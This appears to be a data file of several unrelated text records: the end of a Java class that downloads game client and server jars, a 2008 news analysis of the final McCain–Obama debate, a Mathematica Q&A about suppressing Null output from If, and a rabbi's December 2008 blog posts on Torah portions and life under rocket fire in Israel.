rawJson);\n\t}\n\n\tpublic String getId() {\n\t\treturn Objects.requireNonNull(remoteVersionJson.getId());\n\t}\n\n\tpublic ReleaseType getType() {\n\t\treturn Objects.requireNonNull(remoteVersionJson.getType());\n\t}\n\n\tpublic boolean hasClient() {\n\t\treturn remoteVersionJson.getClientUrl() !", "= null;\n\t}\n\n\tpublic boolean hasServer() {\n\t\treturn remoteVersionJson.getServerUrl() !", "= null;\n\t}\n\n\tpublic void downloadClient(String prefix) throws IOException {\n\t\tcopyToFile(URIUtils.newInputStream(remoteVersionJson.getClientUrl()),\n\t\t\tPaths.get(filenameService.getClientJar(prefix, getId())));\n\t\tcopyToFile(new ByteArrayInputStream(rawJson),\n\t\t\tPaths.get(filenameService.getClientJson(prefix, getId())));\n\t}\n\n\tpublic void downloadServer(String prefix) throws IOException {\n\t\tcopyToFile(URIUtils.newInputStream(remoteVersionJson.getServerUrl()),\n\t\t\tPaths.get(filenameService.getServerJar(prefix, getId())));\n\t}\n\n\tprivate void copyToFile(InputStream from, Path to) throws IOException {\n\t\tPath parent = to.getParent();\n\t\tif (parent !", "= null) Files.createDirectories(parent);\n\t\tif (Files.exists(to)) {\n\t\t\treturn;\n\t\t}\n\t\tPath part = to.resolveSibling(to.getFileName() + \".part\");\n\t\tFiles.copy(from, part, StandardCopyOption.", "REPLACE_EXISTING);\n\t\tFiles.move(part, to, StandardCopyOption.", "REPLACE_EXISTING);\n\t}\n\n}\n" ]

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[ "John McCain came into the third and final presidential debate needing to somehow wrestle the campaign out of Barack Obama’s arms. ", "He did not do it.", "\n\nThere was no single moment that was likely to reverberate in the minds of American voters and change the course of an election that has moved dramatically toward Obama in the last several weeks. ", "But the 90-minute debate was a perfect distillation of McCain’s general election campaign, with all of its inconsistent messages.", "\n\nHe spoke passionately about education and free trade and put Obama on the policy defensive more than in previous debates, but he also spent precious minutes bickering over a domestic radical from the 1960s. ", "He spoke of his desire to reach peaceably across the aisle, while at times exuding what seemed a barely controlled anger, his jaw clenched as he appeared to show disdain for his opponent.", "\n\nMcCain needed to focus with laser-like intensity on middle-class fears over the faltering economy, the universal concern of undecided voters. ", "Initially, he did that. ", "He spoke repeatedly about “Joe the Plumber” -- so repeatedly that by mid-debate Obama too was addressing the man who first surfaced this week at an Obama event to question the candidate about taxes.", "\n\n\nBut soon the Republican was off-topic and into the swamp of cultural issues that voters have said are not important as their retirement savings dwindle and their homes and livelihoods are threatened.", "\n\nIn a race in which millions of dollars have been spent for the votes of American women, McCain managed in a two-question segment to mock laws protecting a woman’s right to sue for being paid less than a man, and the notion that late-term abortions should be allowed in cases where a mother’s health is threatened.", "\n\n“That’s the extreme pro-abortion position -- quote, health,” McCain said.", "\n\nEarly instant polls of voters gave the night to Obama.", "\n\n\n“There was no knockout punch for McCain, and as far as Obama was concerned, at a time of enormous national anxiety and uncertainty he came across as a voice of deliberate and deliberative reason,” said Mark Petracca, a UC Irvine political scientist who is a Democrat.", "\n\nStill, McCain had reason to be pleased with parts of the debate. ", "He appeared far more energetic and focused for much of it, and he touched more on the middle class’ travails than he did in the previous two debates. ", "On radio, where his tense demeanor could not be seen, he might have come across more positively, as Richard M. Nixon did in debates with John F. Kennedy.", "\n\nBut on Wednesday, McCain was not helped by television, and particularly not by the networks’ frequent use of the split screen. ", "He said repeatedly that Americans were “angry” and often looked like the angriest of the lot. ", "Obama continued with the visage he has perfected in debates this year, a look of amused detachment.", "\n\n“The debate was like a Rorschach test,” said Democratic consultant Chris Lehane. “", "If you like McCain, you probably thought he won, and if you like Obama, you probably thought he won.", "\n\n\n“And since there are more Obama supporters than McCain supporters, then it is a good night for Obama.”", "\n\nMcCain set a pre-debate goal of separating himself from George W. Bush, and tried repeatedly to do so. ", "He criticized Treasury Secretary Henry M. Paulson, the administration’s point man in the financial crisis, and pounced on Obama’s suggestion that a McCain presidency would resemble Bush’s.", "\n\n“Sen. Obama, I am not President Bush,” McCain said, in a powerful moment for him. “", "If you wanted to run against President Bush, you should have run four years ago. ", "I’m going to give a new direction to this economy in this country.”", "\n\nObama, entering the debate with a widening national lead in most recent polls and with momentum in key states, had far less to prove in the debate. ", "He sought to hit the same note of cerebral passion that had marked his earlier debate performances. ", "He, too, returned repeatedly to the difficulties of the middle class, often referring to college as a disappearing dream for some Americans.", "\n\n\nWith the mien of the front-runner, he could afford to note, as he did several times, issues on which he and McCain agreed. ", "McCain, tasked with tearing down Obama, was forced into a negative posture that risks alienating voters in times of crisis.", "\n\nIn one response on the matter of free trade, McCain opened and closed with gibes at Obama.", "\n\n“Well, you know, I admire so much Sen. Obama’s eloquence. ", "And you really have to pay attention to words. ", "He said, ‘We will look at offshore drilling.’ ", "Did you get that? ", "Look at,” McCain said.", "\n\nHe closed by calling free trade with Colombia a “no-brainer.”", "\n\n\n“Maybe you ought to travel down there and visit them, and maybe you could understand it a lot better,” said McCain.", "\n\nMuch of the pre-debate tension hinged on whether McCain would use the debate to criticize Obama’s connection to 1960s radical William Ayers, now an education professor in Chicago.", "\n\nMcCain has gone after Obama on the Ayers issue in interviews and elliptically at events but did not discuss it in the second debate.", "\n\nOn Wednesday, after moderator Bob Schieffer brought up the nasty tenor of the race, the two candidates launched into a long discourse on the subject in which each blamed the other.", "\n\n\nMcCain tried to make the case that Obama should not be president because of his past connections to Ayers and the community organizing group ACORN, which Republicans have criticized for voter registration irregularities. ", "But soon he seemed to decide that voters might not care.", "\n\n“All of the details need to be known about Sen. Obama’s relationship with them and with ACORN, and the American people will make a judgment,” he said.", "\n\nThen he quickly changed course:\n\n“And my campaign is about getting this economy back on track, about creating jobs, about a brighter future for America. ", "And that’s what my campaign is about, and I’m not going to raise taxes the way Sen. Obama wants to raise taxes in a tough economy. ", "And that’s really what this campaign is going to be about.”", "\n\n\n--\n\ncathleen.decker@latimes.com" ]

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[ "Q:\n\nHow to avoid returning a Null if there is no \"else\" condition in an If construct\n\nI need to use If but with only one option that is if \"a\" then do \"b\", else do nothing. ", "So I wrote If[a,b] but the problem is that if it is not a it returns Null in my output.", "\nHow to avoid this?", "\nHere is the specific example I was working on.", "\nI am looking for the number of comparisons performed by the quick sort algorithm. ", "Here is the code from Rosetta code with my additions\nQuickSort[x_List] := \n Module[{pivot, aa = 0, bb = 0}, If[Length@x <= 1, Return[x]];\n pivot = First[x];\n aa = If [Length[Cases[x, j_ /; j < pivot]] > 1, \n Length[Cases[x, j_ /; j < pivot]] - 1 , Sequence[]];\n bb = If [Length[Cases[x, j_ /; j < pivot]] > 1, \n Length[Cases[x, j_ /; j > pivot]] - 1 , Sequence[]]; \n count = count + aa + bb;\n Flatten@{QuickSort[Cases[x, j_ /; j < pivot]], \n Cases[x, j_ /; j == pivot], \n QuickSort[Cases[x, j_ /; j > pivot]]} ; Return[count] ]\n\nNow if you run QuickSort[{4, 3, 2, 1, 5}] you will get 2+2 Null instead of 4.", "\n\nA:\n\nIf does not have the attribute SequenceHold; use the \"vanishing function\" ##&[] instead of Sequence[]:\nIf[# > 5, #, ## &[]] & /@ Range[10]\n\n{6, 7, 8, 9, 10}\n\nSee this and this for other uses, and SlotSequence if you are confused by ##.", "\n\nTo further explain the method above, Sequence is flattened when it appears as an argument (level one) in an expression with a head that does not have either the SequenceHold or HoldAllComplete attributes.", "\nFor our purpose in If one can use any expression which:\n\nis held unevaluated by Hold (More specifically the HoldRest attribute.)", "\ndoes not have the head Sequence\nevaluates to Sequence[]\n\nAll of these heads meet this requirement:\n\n## &\nUnevaluated\nSymbol (e.g. seq = Sequence[])\nApply (e.g. Sequence @@ {})\n\nObserve:\nseq = Sequence[8, 9];\nh = Hold[1, Sequence[2, 3], ## &[4, 5], Unevaluated[6, 7], seq, Sequence @@ {10, 11}]\n\nHold[1, 2, 3, (##1 &)[4, 5], Unevaluated[6, 7], seq, Sequence @@ {10, 11}]\n\nNote that Sequence[2, 3] is flattened while all others remain. ", " An application of List will invoke additional evaluation:\nList @@ h\n\n{1, 2, 3, 4, 5, Unevaluated[6, 7], 8, 9, 10, 11}\n\nOne sees that Unevaluated[6, 7] remains, which is an important distinction, but this is acknowledged behavior* for inert functions like List and it will evaluate in other applications:\nPlus @@ h == Plus @@ Range[11]\n\nTrue\n\n*Working with Unevaluated Expressions - Robby Villegas\n\nNote: You may notice red highlighting in the Front End in the expression Unevaluated[6, 7]; the multi-argument (and null-argument) form of Unevaluated is not documented but it is used internally by Mathematica. ", " You can adjust the highlighting to match by setting:\nUnprotect[Unevaluated];\nSyntaxInformation[Unevaluated] = {\"ArgumentsPattern\" -> {___}};\nProtect[Unevaluated];\n\nVersion 10.2\nVersion 10.2 introduces the function Nothing which is applicable to a subset of this problem. ", " Specifically Nothing vanishes only if the surrounding head is List or if it is a non-delayed Value within an Association. ", " Therefore one can write:\nIf[# > 5, #, Nothing] & /@ Range[10]\n\n{6, 7, 8, 9, 10}\n\nHowever it will remain in the output of:\nIf[OddQ[#], #, Nothing] & /@ foo[1, 2, 3, 4]\n\nfoo[1, Nothing, 3, Nothing]\n\nPerformance\nOleksandr expressed concern about the performance of ## &[]:\n\nI am not extremely keen on ##&[]. ", "It is concise (and I think clear enough after one understands it), but Function invocation is not the fastest operation in Mathematica. ", "In most cases (except where the subtle differences actually matter), I would prefer Unevaluated@Sequence[] for explicitness and avoiding an unnecessary function call. ", "Simon Woods's suggestion of Unevaluated[] could be the best compromise.", "\n\nHere is a benchmark in 10.0.2 comparing the various methods.", "\nSetAttributes[test, HoldFirst]\n\ntest[form_][list_] := If[#, 1, form] & /@ list\n\nseq = Sequence[];\n\nNeeds[\"GeneralUtilities`\"]\n\nBenchmarkPlot[\n {\n test[Unevaluated @ Sequence[]],\n test[Sequence @@ {}],\n test[seq],\n test[## &[]],\n test[Unevaluated[]]\n },\n RandomChoice[{True, False}, #] &\n]\n\nIn this log-log scale the methods are so close that it is hard to distinguish them. ", " Here is another presentation using the average of five runs:\nrand = RandomChoice[{True, False}, 1*^6];\n\nMean @ Table[First @ Timing @ # @ rand, {5}] & /@\n {\n test[Unevaluated @ Sequence[]],\n test[Sequence @@ {}],\n test[seq],\n test[## &[]],\n test[Unevaluated[]]\n }\n\n{0.430563, 0.564724, 0.377522, 0.508563, 0.514803}\n\nAt least on my system ## &[] appears to be slightly faster than Unevaluated[] contrary to Oleksandr's assertion. ", " Both are a bit slower than Unevaluated @ Sequence[] because of an additional transformation step. ", " (##&[] and Unevaluated[] both evaluate to Sequence[].) ", " The assignment method (seq = Sequence[]) is the fastest. ", " However this Function is extremely simple; in any nontrivial use the overhead of ## &[] is likely insignificant. ", " \nIf the slight overhead or cryptic nature of ## &[] bothers you I propose using:\nvanish[] = Sequence[];\n\nA:\n\nIt depends what you consider nothing, but you could try something like this\nIf[a, b, Unevaluated[Sequence[]]]\n\nfor example \n3 + If[False, 1, Unevaluated[Sequence[]]]\n\nreturns 3. ", "Wrapping an argument of a function in Unevaluated is effectively the same as temporarily setting the attribute Hold for that argument meaning that the argument isn't evaluated until after it's inserted in the definition of that function.", "\nBy the way, in your definition of QuickSort you're calling Cases[x, j_ /; j < pivot] six times. ", "It's probably more efficient to assign Cases[x, j_ /; j < pivot] to a dummy variable and use that instead.", "\n\nA:\n\nI note that all answers so far try to solve the problem of assigning a potential Null value by manipulating the return value. ", "I feel it would be more appropriate to make the whole assignment conditional. ", "Like this:\nIf[condition, aa = value]\n\nThere's also a small bug in your program (count isn't initialized), and, of course, it doesn't sort at the moment. ", "I assume that you aware of that and that the Return value is used for testing.", "\nThe code would then be:\nQuickSort[x_List] := \n Module[{pivot, aa = 0, bb = 0, count = 0}, \n If[Length@x <= 1, Return[x]];\n pivot = First[x];\n If[Length[Cases[x, j_ /; j < pivot]] > 1,\n aa = Length[Cases[x, j_ /; j < pivot]] - 1\n ];\n If[Length[Cases[x, j_ /; j < pivot]] > 1, \n bb = Length[Cases[x, j_ /; j > pivot]] - 1\n ];\n count = count + aa + bb;\n Flatten@{QuickSort[Cases[x, j_ /; j < pivot]], \n Cases[x, j_ /; j == pivot], QuickSort[Cases[x, j_ /; j > pivot]]};\n Return[count]] \n\nRemove ;Return[count] to let it sort again. ", "\nI'm not sure about the j < pivot test in the second If. ", "It depends on your intention with bb, but I guess the test should be j > pivot.", "\n\n" ]

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[ "Wednesday, December 31, 2008\n\nWhy is it that at times, the thing that we want is probably not very good for us? ", "Like that pint of Ben and Jerry’s? ", "Or Facebook? (", "After all, do we really need to know what every person we know is doing at every moment of the day? ", "When do “friends” become a distraction?) ", "Yaakov’s fears in Vayigash remind us that sometimes the path towards growth involves traveling the road that we fear the most.", "\n\nAfter Yosef reveals himself to his brothers, he insists that they return to Canaan to collect Ya’akov and move the family down to Egypt. ", "Ya’akov, while excited about his reunion with Yosef, reacts with fear. ", "What will happen to him and his family and to the promise of Eretz Yisrael? ", "If you think about it, his fears make sense. ", "He knows what’s available to his grandchildren in Egypt: the Internet, that crazy Egyptian music, and the clothing and culture. ", "Sound familiar? (", "OK – maybe they didn’t have email back then.)", "\n\nHis fears are so well-founded that Hashem must address them, telling Ya’akov:\n\nאל תירא מרדה מצרימה, כי לגוי גדול אשימך שם“Don’t be afraid to go down to Egypt, for I will make you a great nation there.” (", "Bereishit 46:3)\n\nYet, Yaakov’s questions make sense. ", "Why should he bring his entire family down to Egypt? ", "Couldn’t Yosef send them food and let them stay in the Promised Land? ", "Why does Hashem want the entire family to move to Egypt?", "\n\nS’forno explains that staying in Canaan would have actually been more dangerous and detrimental than moving to Egypt. ", "He says that Hashem tells Ya’akov, “If your children stay here, they would marry the nations of the land and become intermingled with them. ", "But in Egypt that won’t happen, ‘because the Egyptians will not eat bread with the Hebrews (43:32). ", "In this way, they will become a great nation.” ", "S’forno says that Hashem wanted Ya’akov to move his family to Egypt precisely because life would be harder for them there. ", "They would be rejected as outsiders, never accepted or integrated into Egyptian society. ", "But in that way they would grow to be a great nation – and a Jewish nation.", "\n\nSure, it would have been easier to stay in Canaan. ", "But taking the easier path would have undoubtedly led to assimilation, intermarriage, and the slow but definitely decline of Yaakov’s family and legacy.", "\n\nThank God, none of us (I hope) face this challenge of intermarriage and assimilation directly. ", "We understand the importance of maintaining a sense of identity and individuality as Jews, no matter where we may live. ", "But we do face the larger question each and every day: do we take the easy path which we want or the harder path that we need? ", "Do we sit down to the computer to check our email (yet again), or use that half-hour to learn about the parshah? ", "Do we choose the ice cream (easy and good) or make that salad (hard, but also good in a different way?", "\n\nOn my way to work this morning, I listened to a reporter in Be’er Sheva as the warning sirens wailed, and hear a rocket explode close enough to him to clearly recognize the fall of the Grad rocket. ", "Mind you, I was driving the other way. ", "But it does bring things home.", "\n\nYesterday, the school system conducted a series of assemblies to explain what would happen in case of a rocket attack that threatened Yad Binyamin. ", "With Be’er Sheva in range and a rocket falling yesterday on Kiryat Malachi (where we do most of our grocery shopping), the kids needed to be made aware. ", "I hadn’t really thought about it. ", "We hadn’t sat the kids down and told them what was going on. ", "But the school was absolutely correct; they have a responsibility to our children, and in case of emergency, they need to be prepared.", "\n\nLeah was understandably traumatized at school – but a nice treat successfully calmed her nerves. ", "We explained to her that while we needed to take precautions, we didn’t think that there was very much to worry about. ", "And I still don’t. ", "Gaza is pretty far away and life proceeds as normal. ", "I haven’t lost sleep over this, which is the first thing that would happen if I was really, truly worried.", "\n\nHow does the situation make me feel? ", "Have I wondered about the wisdom of moving my family and children to where we now live? ", "Not for a moment.", "\n\nFirst and foremost, this is our land – and I understand that it doesn’t come free. ", "We must be willing to defend and protect the land – and that doesn’t just mean soldiers. ", "It means me and my family, willing to live our normal lives even when there’s something to worry about. ", "But I strongly believe that when we sacrifice for something, we grow closer to it. ", "When we stay – despite the worries – we grow stronger in our connection to the Land. ", "It’s not just a place to live; it’s a place that I’m willing to sacrifice something for – be it a job, financial security, or even a sense of physical security (as elusive as that may be anywhere). ", "Every Oleh knows this feeling of sacrifice, and appreciates how it brings him not to resent the Land – but that much closer to it.", "\n\nTuesday, December 30, 2008\n\nOur small yishuv (settlement – but it’s the kosher kind, well inside the Green Line) sits about a mile away from the Tel Nof Air Force base – a major hub of IAF activity. ", "You kind of get used to the jets streaking overhead all the time, and tune out the noise.", "\n\nExcept on Shabbat. ", "On Shabbat there are never jets. ", "You cherish the quiet. ", "After all, why disturb the Jewish day of rest unless there’s an emergency. ", "And that’s how we knew something was up – when we heard the jets on Shabbat afternoon.", "\n\nFor some weeks now we’ve been hearing about the bombs and missiles and rockets landing throughout the south of Israel. ", "And I’ve been listening to the news along with all Israelis with a growing sense of frustration. ", "While it has been a relief to hear (most of the time) that there were “no injuries,” how long could that really last? (", "Not long enough.) ", "When would we do something to stop the shooting? ", "What would we do? ", "What could we do?", "\n\nI learned today that my house sits in harm’s way. ", "Yad Binyamin lies smack between Kiryat Malachi and Gadera, about forty kilometers from Gaza, at the outer range of Hamas rocket capabilities. (", "it's right on the red line between the purple and green zones. ", "Not close - but on the map. ", "And it's not a great map to be on.) ", "Unlike the residents of Sederot, who get only fifteen seconds warning, we’ll have forty-five. ", "Not that I’m that worried. ", "But it does give me an eerie sense to know that for better or worse, I'm “within range” of a terrorist. ", "It also didn't help that we all got \"preparedness\" memos in our mailboxes yesterday. (", "As if the bombings in Mumbai didn’t remind us that all of us are – inside Israel and out.)", "\n\nI view the army fighter jets differently than I used to. ", "In the United States, jets were a nuisance; a source of noise that disturbed our otherwise quiet lifestyles. ", "They were part of the background, to be taken for granted and ignored. ", "In fact, the only day I can remember not hearing the roar of the jets was September 11th, 2001, when I yearned to hear a jet in the sky.", "\n\nNow though, when I hear a jet roar overhead, or especially when I see a helicopter flying south (they often fly in formations of two or three), I think about the men inside. ", "Actually, it’s probably boys. ", "And they’re our boys, who we’re sending to do some very adult-like behavior to protect our country, our families, and our people. ", "Lately, whenever I spot an aircraft overhead I think a small prayer in my head. ", "I pray for the well-being of the pilot. ", "For the safety of the crew. ", "For the peace of mind of their parents. ", "And for the safety of our country.", "\n\nBecause a jet or a helicopter is no longer just a noise to me. ", "It’s our children. ", "And this week especially, they need all of our prayers.", "\n\nThursday, December 25, 2008\n\nI remember it like it was yesterday. ", "Sitting in a hospice room in Hartford Hospital, Bill Schulman (not his real name – but the story is true) lay dead in the bed next to me as I waited, together with Bill’s wife for the funeral home to come, and for Bill’s son to arrive from France. ", "When her son finally arrived, we sat down at the small table to talk about funeral plans. ", "As we began talking, Bill’s son stopped the conversation and asked a question (with his father still lying there in the room) that I’ll never forget: “When can we probate the will?”I wondered what could make a person so selfish, self-centered and crass. ", "Bill’s son answered my question, albeit unknowingly, during the shiva. ", "Speaking lovingly about his father he told me, “We were always the first ones on the block to have anything. ", "We had the first basketball hoop, the first color television – my father always bought us anything we wanted.” ", "Indeed.", "America celebrates its holidays – especially the religious ones – by doing what we do best. ", "We buy stuff. ", "I feel bad for Christian clergy. ", "After all, America has transformed one of their holiest holidays of the year into a crass commercial extravaganza that now begins the day after Thanksgiving. ", "We can’t even digest our turkey properly, as we have to rise at 5am to beat the crowds for the doorbusters. ", "We all get “gift guides” in the mail: in newspapers, magazines, catalogues, brochures and mailings of all shapes and colors. ", "And this commercialism colors our attitude towards our own holidays as well. ", "Who doesn’t buy Chanukah gifts for their children or grandchildren? ", "Do gifts have anything to do with Chanukah at all? ", "And, most importantly, if we’re going to give gifts, what should we give that will enhance, and not detract from the greater message of Chanukah?In all honesty, Chanukah gifts fly in the face of everything that the holiday represents. ", "At the same time though, I must admit that I will be buying and giving my own children presents this Chanukah. ", "Why? ", "For three reasons: my parents gave me presents on Chanukah, my kids expect them, and it’s not fair to make them the only children in town who did not get anything for Chanukah. ", "We have ingrained the notion of “presents” too deeply into our social consciousness to ignore them completely. ", "But if we do give gifts, we can use those gifts to both express our love, and convey values that we hold dear.", "First and foremost, gifts should be expressions of affection. ", "They should not only say, “I love you,” but “I care about you and your interests.” ", "For that reason, I’ve never been a big fan of giving money as a gift (unless the recipient really needs the money to cover expenses). ", "A gift of money conveys the clear message that “I don’t really know what you want, so go buy it yourself.” ", "But that check also says, “I couldn’t think about what you’d want and go out and purchase that thing for you. ", "So get it yourself” If you’re giving a child or grandchild money for their college fund – great! ", "But otherwise, think about what they like; their hobbies or interests and values – and get them something that matches those interests. ", "If they don’t like it, let them return it (and don’t be hurt). ", "At the very least, they’ll appreciate the fact that you took the time and energy to find something specifically for them. ", "And when the item is gone – or lost or broken – the value of that time and thought and energy investment will endure.", "\n\nIf you’re buying something for a child, I have come to realize that our kids have way, way too much stuff. ", "From electronics to games to music to toys, they have so many things that they don’t use a vast majority of them. ", "Today’s latest and greatest device will by lying on the shelf next by next week. ", "They don’t need another cellphone, or video game or television. ", "So why not give a gift of time: get them a lesson with a tennis instructor, or tokens to the batting cages; tickets to a concert of a (kosher) musician or take them to a sporting event.", "\n\nThe original title of this shiur was \"Severed Heads and Women's Initiative: the Role of Women on Chanukah\". ", "Either way, the shiur examines the fundamental role of two very fascinating women who appear in Midrashic literature and play prominent roles in the Chanukah story. ", "Enjoy!", "\n\nSaturday, December 20, 2008\n\nI paid a shiva call on Friday for Rabbi Yehoshua Zev Abramoff of Toronto. ", "While I never knew Rabbi Abramoff personally, my mother asked me to pay a shiva call as Rabbi Abramoff was a chavruta (study partner) of my father’s about forty years ago in Washington Heights. ", "It just so happened that when I arrived, Rav Aharon Lichtenstein and his wife were sitting in the room also paying a shiva call. ", "It seems that Rabbi Abramoff learned in YU’s Kollel when Rav Aharon was the Rosh Kollel.", "\n\nUnderstandably, the conversation turned to Rav Aharon’s influence on the deceased, and the family started to tell Rav Aharon about a lesson that always stayed with Rabbi Abramoff that he had learned from Rav Aharon and taught all of his children. ", "It seems that one evening Rav Aharon gave Rabbi Abramoff a ride home from learning – down the hill from YU to Washington Heights. ", "As Rav Aharon was driving, they got to an intersection where Rav Aharon would have had to turn off to go home, and Rabbi Abramoff told Rav Aharon to let him off and he would walk the rest of the way.", "\n\n“Nonsense,” said Rav Aharon. “", "I started a mitzvah, and I’m going to finish it.” ", "And he took him all the way to his building.", "\n\nThe Abramoff children all said that this was a lesson that their father told them all throughout his life. ", "When you start a mitzvah, do it all the way.", "\n\nThursday, December 18, 2008\n\nFraud and theft have been at the top of the news these past few weeks. ", "Sadly, Orthodox Jews committed these crimes, causing unimaginable chillul hashem and unthinkable monetary losses. ", "Every one of us either has or will be personally affected by the money that was acknowledged to have been stolen this past week. ", "We all benefit from Jewish organizations: from Orot to your local Jewish Day School to the Jewish Federation in your city. ", "No – Orot didn’t have money in the Madoff fund (not even close), but the trickle-down effect of a loss so massive will eventually affect the entire Jewish world.", "\n\nWe need to start to talk about honesty. ", "And integrity. ", "And we need to start reminding ourselves regularly that Orthodoxy isn’t only about מצוות בין אדם למקום – but equally about מצוות בין אדם לחברו – being honest in business, truthful with our friends and customers, and ethical in our daily lives.", "\n\nDishonesty rears its ugly head in many ways in Vayeshev. ", "The brothers steal Yosef’s coat and sell him into slavery. ", "Bad enough. ", "But then, instead of owning up to their crime before their father, they lie to him and pretend that Yosef had been killed, causing him decades of anguish. ", "Yosef isn’t entirely innocent either. ", "The Torah tells that Yosef would bring דבתם רעה – “evil tales” about his brothers to Ya’akov. ", "While Rashi says that Yosef reported every negative thing he could find about his brothers to Ya’akov, Ramban disagrees, saying, אבל מוציא דבה כסיל האומר שקר – “one who brings out dibbah is the fool who says falsehoods.” ", "Put simply, according to Ramban Yosef lied too. ", "He made up evil stories about his brothers to denigrate them in Ya’akov’s eyes.", "\n\nFraud finds its way into Yehudah’s life as well. ", "In the famous story with Tamar, following the tragic deaths of his first two sons Er and Onan, Yehudah sends Tamar home telling her, “Go home to your father’s house and wait for Shelah to grow up. ", "But don’t call me. ", "I’ll call you.” ", "Rashi (38:11) tells us clearly that Yehudah has no intention of calling her. ", "In other words, he lies to her. ", "Not to be outdone, Tamar gets back at him by dressing as a prostitute and seducing him by the side of the road. ", "When the world discovers her pregnancy and sentences her to death for violating her marriage, she doesn’t rat him out. ", "Rather, she leaves everything up to him. “", "Do you recognize this seal? ", "Do you know whose ring this is? ", "The owner of these items is the father of my child.”", "\n\nYehudah can easily say nothing. ", "If he only chooses this option, all of his problems will disappear. ", "Tamar will be dead leaving his son Shelah free from marry anyone but this black widow. ", "Best of all, no one would know about his little dalliance at the roadside inn a few months back. ", "What could be simpler than simply saying nothing? ", "But it’s not so simple. ", "Yehudah finally admits his lie in two words: צדקה ממני – “she is more righteous than I.”\n\nWhat does he mean? ", "Why doesn’t he just say צדקה – “she’s right”? ", "How is she more right than he? ", "And most importantly, why does he finally admit to his fraud?", "\n\nSforno explains that both Yehudah and Tamar lied. ", "Yehudah realized that her lie wasn’t for her own benefit. ", "Rather, she masqueraded as a prostitute to bring a child into the world. ", "But he lied for his own personal benefit – to increase his own honor and achieve greater personal leverage. ", "That’s why he said צדקה ממני. ", "Her lie is better than mine. ", "At least she didn’t lie for herself.", "\n\nEven more importantly, Yehudah finally realized that the lying must end. ", "The deceit and fraud that had become hallmarks of his family now threatened to destroy him – and all of them as well. ", "The time had come to own up to his behavior – to tell the truth and accept the consequences. ", "From this point forward Yehudah can becomes the de-facto leader of the family and takes his place in leading the family through the dangers of Egypt.", "\n\nFraud, lying, theft – sometimes they seem so easy. ", "If you forgot to study for an important test, it’s so much easier to copy your neighbor’s paper than own up to the failing grade. ", "Apparently, it’s much easier to take people’s money and give it to new investors as dividends than it is to actually find ways to make real money. ", "But sooner or later it all catches up to us. ", "Someone catches on. ", "The cheating becomes obvious. ", "Your investors ask for their money back. ", "And then cleaning up the mess, dealing with the consequences, saying צדקה ממני – becomes that much harder to do.", "\n\nWednesday, December 10, 2008\n\nPetachya came home from gan today with a question: \"Right I don't eat dogs Ima?\"What?\"Right I don't eat dogs?\" ", "Petachya asked again.", "\"Who said that you don't eat dogs?\" ", "Rena wondered.", "\"Mazal\" - his ganenet. (", "The woman in charge of his gan).What in the world was he talking about. ", "Then Rena looked around and noticed that all of the other kids were carrying small bags of Bamba. ", "And then the light went on in her head.", "You see, our next-door neighbors have a small dog that they named Bamba. ", "Petachya happends to be allergic to sesame and peanuts, so we're very careful about what foods we give him. (", "Rena likes to say that we brought a child allergic to sesame and peanuts to the land of chumus and bamba.) ", "As Mazal is well-aware of his allergy, when she gave out the Bamba she gave him a chocolate wafer instead, and must have said to him, \"You don't eat Bamba.", "\"Which Petachya obviously translated as: You don't eat dogs.", "Right Petachya. ", "You don't eat dogs.", "\n\nTuesday, December 9, 2008\n\nThe Jewish people are called the B’nei Yisrael – the Children of Israel. ", "Where did we get this name from? ", "From this week’s parshah.", "After Ya’akov spends an entire night wrestling with the angel of Eisav, the angel decides that it’s time to go. ", "Only Ya’akov doesn’t want to let him: “I won’t let you go until you bless me,” he tells the angel.", "\n\n“What’s your name,” the angel asks him.", "\n\n“What’s my name? ", "You don’t even know who I am? ", "Don’t you think you should have asked me that before we had this whole fight?”", "\n\n“What’s your name?”", "\n\nSigh. “", "Ya’akov.”", "\n\nThe angel replied: “No it’s not – at least not anymore. ", "From now on, your name will be Yisrael, ki sarita im elokim v’im anashim va’tuchal, “for you have striven with God and with man and have prevailed.” ", "The word sarita is the root of the word Yisrael that identifies us as a people. ", "What does it really mean? ", "What does the word say about us?", "\n\nLet’s look at two interpretations and see what we can learn from them. ", "Rashi teaches that the word sarita comes from the word serarah, ruling and leading. ", "Ya’akov’s old name implied sense of weakness, shame and deceit. ", "Yisrael implies a sense of power, strength and pride. ", "Radak explains the word in terms of struggle. ", "Yisrael is a person who is willing to struggle – to work hard to overcome obstacles to accomplish his goals.", "\n\nBoth of these explanations tell us a great deal about the Jewish people and especially the State of Israel. ", "We are a people who are willing to work hard and overcome challenges to build a land and recreate the Jewish people. ", "At the same time, we stand before the world with a sense of pride. ", "Israel has made tremendous strides during the past sixty years, and for all our faults, we have a lot to be proud of.", "\n\nThis asks a lot of each of us as members of the Children of Israel. ", "Do you face challenges or run away from them? ", "Do you stand up as a Jew with a sense of pride and accomplishment? ", "Or do you hide your Jewish identity from the people around you?", "\n\nWednesday, December 3, 2008\n\nEnraged at Ya’akov’s midnight flight from Haran, Lavan gathered his brothers and chased after his son-in-law, daughters and grandchildren. ", "The Midrash (Mishnat Rabbi Eliezer 9a) explains that Lavan decided that rather than lose his extended family, he would destroy them. ", "In fact, we take note of his evil intentions at the Passover Seder when we recite, Arami oved avi, “an Aramite (Lavan) intended to destroy my father.” ", "Lavan only desisted from murdering his family because God appeared to him in a dream, warning him to refrain from harming Ya’akov.", "\n\nWhen Lavan finally reached Ya’akov and confronted him, he threatened him using curious language: Yesh l’el yadi - “it is in the power of my hand” to harm you. ", "I wanted to kill you all, but I won’t because your father’s God warned me not to. (", "verse 29) The term el yadi – the power of my hand, carries a double implication. ", "Rashi explains that the word el means “power” or “ability.” ", "Yet, the word el clearly carries a deistic connotation as well, often used to refer to God. ", "In fact, Chizkuni explains the phrase to mean, “Even your God knows my power, and fears that I will take vengeance against you.” ", "Why does Lavan strangely infuse God in his threat against Ya’akov?", "\n\nLavan invokes God because tyrants and terrorists must always invoke God to justify their heinous crimes. ", "How can Lavan - a father and grandfather - even contemplate the cold-blooded murder of his entire family? ", "Yesh l’el yadi. ", "He invoked the name of his god. ", "After all, Lavan asks Ya’akov, “Why have you stolen my gods?” (", "verse 30) In the battle for religious supremacy, Lavan foreshadows a world devoid of morality, whose only goal of religious domination justifies any act, no matter how barbaric and repugnant.", "\n\nThe world witnessed yet another example of Lavan’s fanaticism in the vile terrorist attacks in Mumbai this past week. ", "In addition to the senseless murder of over 174 civilians and countless more injuries, the attackers also specifically “were sent specifically to kill Israelis to avenge “atrocities” against the Palestinians,” the Times of India reported. ", "They accomplished their goal, killing six Israelis among nine Jews, including the local Chabad emissary Gavriel Holtzberg, 29, and his wife Rivka, 28 – both American citizens. ", "Moreover, we this week learned that they 